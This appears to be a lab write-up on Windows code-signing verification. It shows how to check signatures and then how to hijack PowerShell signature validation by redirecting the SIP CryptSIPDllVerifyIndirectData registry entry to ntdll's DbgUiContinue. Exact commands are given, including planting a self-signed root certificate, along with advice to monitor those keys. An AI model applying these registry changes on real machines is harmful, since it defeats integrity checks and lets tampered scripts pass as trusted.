Introduction

Digital signatures are a cornerstone of Windows security, they help verify that files and scripts haven't been tampered with. But what happens when the verification mechanism itself can be manipulated?

In this lab, I explored exactly that: how digital signatures work, how to verify them, and how a threat actor can hijack the signature verification process entirely.

Part 1: Verifying Signatures with Sigcheck64 and PowerShell

Using Sigcheck64 on Sysmon64.exe

The first step was understanding how to verify a legitimate signature. We will use Sigcheck64 from Sysinternals to inspect Sysmon64.exe:

./sigcheck64.exe -v "C:\Users\vboxuser\Downloads\SysinternalsSuite\Sysmon64.exe"
None
Output for Sysmon64.exe

The output confirmed:

  • Verified: Signed
  • Publisher: Microsoft Windows Publisher
  • Signing Date: 8:33 AM 7/12/2024
  • VT Detection: 0/77 (clean on VirusTotal)

This is exactly what a trusted, legitimately signed binary looks like.

Using PowerShell to Check Signature Status

I also used PowerShell's built-in Get-AuthenticodeSignature cmdlet:

Get-AuthenticodeSignature -FilePath "C:\Users\vboxuser\Downloads\SysinternalsSuite\Sysmon64.exe"
None
PS check for Sysmon64.exe

Result: Status = Valid

Part 2: Verifying a PowerShell Script Signature (SmbShare.psd1)

Next, I repeated the same process on a PowerShell script — SmbShare.psd1 using both tools.

  • Sigcheck64 confirmed it was Signed by Microsoft Windows, signing date 5/5/2024
  • Get-AuthenticodeSignature returned Status = Valid

This established a baseline: I now knew what valid signatures look like for both executables and scripts.

None
Check for SmbShare.psd1

Part 3: Understanding How Windows Verifies PowerShell Script Signatures

Before attempting the hijack, it was important to understand how Windows actually verifies signatures under the hood. It uses a modular system called Subject Interface Packages (SIP).

How SIP Works

Each file type is mapped to a specific DLL and function via the Windows registry. For PowerShell scripts, the GUID is:

{603BCC1F-4B59-4E08-B724-D2C6297EF351}

Two key registry keys are involved:

  1. Extracting the Signature:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
  • DLL = pwrshp.dll
  • FuncName = PsGetSignature

This function finds the # SIG # Begin Signature block in a .ps1 file and extracts the certificate and signature data.

None
Registry Key that extracts Signature:

2. Verifying the Signature (Hash Check):

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
  • DLL = pwrshp.dll
  • FuncName = PsVerifyHash

PsVerifyHash recomputes the hash of the script, compares it against the signed hash, and confirms integrity. This is the function we'll target.

None
Registry Key that Verifies Signature

Part 4: Setting Up the Hijack Lab

Step 1 — Create a Self-Signed Certificate

$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=itsme-Auth"

Step 2 — Install it into Trusted Root

$rootStore = New-Object System.Security.Cryptography.X509Certificates.X509Store -ArgumentList "Root", "LocalMachine"
$rootStore.Open("ReadWrite")
$rootStore.Add($cert)
$rootStore.Close()

Step 3 — Create and Sign the Legitimate "itsme" Script

"Write-Host 'This is the original itsme script'" | Out-File "$env:USERPROFILE\Desktop\itsme.ps1"
Set-AuthenticodeSignature -FilePath "$env:USERPROFILE\Desktop\itsme.ps1" -Certificate $cert

Verification confirmed Status = Valid

Step 4 — Create the "Suspicious" Script

"Write-Host 'Warning: This script is suspicious!'" | Out-File "$env:USERPROFILE\Desktop\suspicious.ps1"

Step 5 — Copy the Signature Block

I manually copied the # SIG # Begin Signature block from itsme.ps1 and pasted it into suspicious.ps1, saving the file as ANSI or UTF-8 (not UTF-16/Unicode — important!).

None
Transferring the signatures from "itsme.ps1" to "suspicious.ps1"

At this point, checking suspicious.ps1 returns Status = NotSigned as expected, because the hash no longer matches the content.

None
Status for "suspicious.ps1" : NotSigned

Part 5: The Final Hijack — Swapping the Validator

Here's where things get interesting. Instead of trying to forge a valid signature, we trick Windows into using a dummy validator that always returns success.

The Strategy

We redirect the CryptSIPDllVerifyIndirectData registry key , which normally points to pwrshp.dll / PsVerifyHashto instead point to ntdll.dll / DbgUiContinue.

Why these two?

  • ntdll.dll is a core Windows system file that's already trusted, no need to drop new files
  • DbgUiContinue is a debugging function with a compatible function signature, but it performs no cryptographic checking and returns a value interpreted as success

Registry Commands

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" -Name "Dll" -Value "C:\Windows\System32\ntdll.dll"

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" -Name "FuncName" -Value "DbgUiContinue"
None
Registry Values Changed

Restart the Crypto Service and Verify

Restart-Service CryptSvc -Force
Get-AuthenticodeSignature "$env:USERPROFILE\Desktop\suspicious.ps1"

Result: Status = Valid (Hijacking Successful!)

None
Success
How It All Works — Summary
How It All Works (Summary)

The Attack Flow

  1. Discovery — Windows identifies the file type and looks up the SIP handler GUID in the registry
  2. Redirection — Our modified registry entry points Windows to ntdll.dll / DbgUiContinue instead of the real validator
  3. Execution — Windows calls the dummy function, which returns success without doing any cryptographic checking
  4. Result — PowerShell reports the script as "Valid" even though it's been tampered with

The Real-World Risk

With this technique, an attacker could take a script legitimately signed by Microsoft or Google, append malicious code to the bottom, and the system would still report it as valid because the registry has been hijacked to skip the actual math.

Key Takeaways

  • Windows signature verification is only as trustworthy as the registry entries that define how verification happens.
  • The SIP system's flexibility, while powerful, creates an attack surface if registry access is obtained.
  • Defenders should monitor changes to HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDll* keys.
  • Tools like Sigcheck64 and Get-AuthenticodeSignature can be deceived if the underlying validator has been swapped.

Reference Link

Hijacking Digital Signatures — Penetration Testing Lab

This lab was conducted in a controlled virtual machine environment for educational purposes.